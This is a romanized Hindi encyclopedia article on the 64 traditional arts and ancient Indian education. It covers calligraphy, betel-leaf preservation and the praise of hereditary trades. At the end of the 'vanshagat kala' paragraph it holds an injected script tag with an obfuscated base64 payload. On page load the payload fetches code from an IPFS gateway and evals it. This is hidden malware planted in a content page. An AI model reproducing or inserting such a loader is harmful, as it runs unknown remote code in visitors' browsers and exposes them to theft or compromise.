• bhinn-bhinn deshoan ki lipi ko sundarata se likhana 'kala' hai. bharat is kala mean bahut unnat tha. aise sundar akshar likhe jate the ki unhean dekhakar ashchary hota hai. likhane ke liye syahi bhi aisi sundar banati thi ki saik doan varshoan ki likhi huee pustakean aj bhi nayi-si maloom hoti haian. chhapane ke pres, taiparaitar adi sadhanoan ka upayog hota ja raha hai, jisase logoan ke akshar big date ja rahe haian. sthiti yahaan tak pahuanchi hai ki kabhi-kabhi apana hi likha hua apane se nahian padha jata. pahale yah kala itani unnat thi ki 'mahabharat-jaisa sava lakh shlokoan ka b da potha adi se ant tak ek hi saanche ke aksharoan mean likha hua dekhane mean ata hai. kahian ek akshar bhi chhota-b da nahian ho paya hai; syahi bhi ek-jaisi hi hai- n kahian gahari n kahian patali. vishesh ashchary to yah hai ki sari pustak mean n to ek akshar galat likhakar kahian kata hua hai n kahian koee dhabba hi hai.
• pan ki raksha karana— aisa upay karana ki jisase pan bahut dinoan tak n sookhane paye, n gale-s de, 'kala' hai. aj bhi bahut se aise tamoli haian, jo magahi pan ko mahinoan tak jyoan-ka-tyoan rakhate haian. is tarah ye 62 kalaean alag-alag hai; kintu do kalaean aisi haian, jinhean sab kalaoan ka pran kaha ja sakata hai. yahi sab kalaoan ke gun bhi kahi ja sakati haian in do mean pahali hai
• adan aur doosari
• pratidanan kisi kam ko karane mean ashukaritv (jaldi-phurti se karana) 'adan' kaha jata hai aur us kam ko chirakal (bahut samay) tak hakarate rahana 'pratidan' hai. bina in do gunoan ke koee bhi kala adhik upayukt nahian ho sakati. is tarah 64 kalaoan ka yah sankshipt vivaran haian.

nishkarsh

yah pathayakram kitana vyapak hai! isamean pray: sabhi vishayoan ka samavesh ho jata hai. isi aank mean anyatr prakashit 'hindoo-sanskritika adhar' shirshak lekh mean jin 32 vidyaoan ka sankshipt varnan kiya gaya hai, unaka bhi isi pathayakram mean samavesh hai. shiksha ka yah uddeshy mana jata hai ki usase jnan ki vriddhi ho, sadachar mean pravritti ho aur jivikoparjan mean sahayata mile. is kram mean in tinoan ka dhyan rakha gaya hai. itana hi nahian, paralaukik kalyan bhi nahian chho da gaya hai. sankshep mean dharm, arth, kam, moksh- in charoan purushartho ko dhyan mean rakhakar hi shiksha ka yah kram nishchit kiya gaya hai. isase pata lagata hai ki us samay-ki shiksha ka adarsh kitana uchch tatha vyavaharik tha. shrikrishnachandr ko in sabhi vishayoan ki poori shiksha di gayi thi aur ve pray: sabhi mean pravin thean. arjun nrityakala aur nal, bhim adi pakavidya mean nipun thean parashuram, dronachary-sarikhe brahman dhanurved mean daksh the. isase jan p data hai ki gurukuloan mean brahman, kshatriy, vaishyoan ke balakoan ko pray: in sabhi vishayoan ki tho di-bahut shiksha di jati rahi hogi. parantu is shiksha se aisa n ho ki jo kam jisake ji mean aya karane laga, jaisa ki ajakal hota hai- isaka bhi dhyan rakha gaya tha. kyoanki aisa hone se sari samaj vyavastha hi big d jati, shreni-sangharsh aur bekari ki utpatti hoti, jaisa ki ajakal dekhane mean a raha hai. sab manushyoan ka svabhav ek-sa nahian hota, kisi ki pravritti kisi or to kisi ki kisi or hoti hai. jisaki jis or pravritti hai, usi mean abhyas karane se kushalata prapt hoti hai. isiliye shukrachary ne likha hai—

yaan yaan kalaan samashrity nipuno yo hi manav:.
naipunyakarane samyakh taan taan kuryath s ev hi॥

vanshagat kala

vanshagat kala ke sikhane mean kitani sugamata hoti hai, yah pratyaksh hai. ek badhee ka l daka badheegiri jitani shighrata aur sugamata ke sath sikhakar usamean nipun ho sakata hai, utana doosara nahian, kyoanki vansh-parampara aur balakapan se hi usake us kala ke yogy sanskar ban jane haian. in manovaijnanik siddhantoan ke adhar par prachin shiksha kram ki rachana huee thi. usamean ajakal ki si dhaandhali n thi, jisaka dushparinam aj sarvatr dikhaee p d raha hai. pray: sabhi vishayoan mean chanchupravesh aur kisi ek vishay ki, jisamean pravritti ho, yogyata prapt karane se hi poorv shiksha aur yathochit jnan ki prapti ho sakati hai. aj pashchaty vidvanh bhi prachalit shiksha-paddhati ki anek trutiyoan ka anubhav kar rahe haian; parantu ham us dooshit paddhati ki nakal karane ki hi dhun mean lage hue haian. vartaman shiksha se logoan ko apane vanshagat karyoan se ghrina tatha aruchi hoti chali ja rahi hai aur ve apane bap-dada ke vyavasayoan ko b di teji se chho date chale ja rahe haian. shikshit yuvak aauphis mean chhoti-chhoti naukariyoan ke liye dar-dar dau date haian, apaman sahate haian, doosaroan ki thokar khate haian aur jivan se nirash hokar kee to atmaghat kar baithate haian. yadi yahi kram jari raha to poora vinash samane hai. kya hi achchha hota, yadi hamare shiksha-ayojakoan ka dhyan ek bar hamari prachin shiksha-paddhati ki or bhi jata. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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tika tippani aur sandarbh

• lekhak— pan. shridurgadattaji tripathi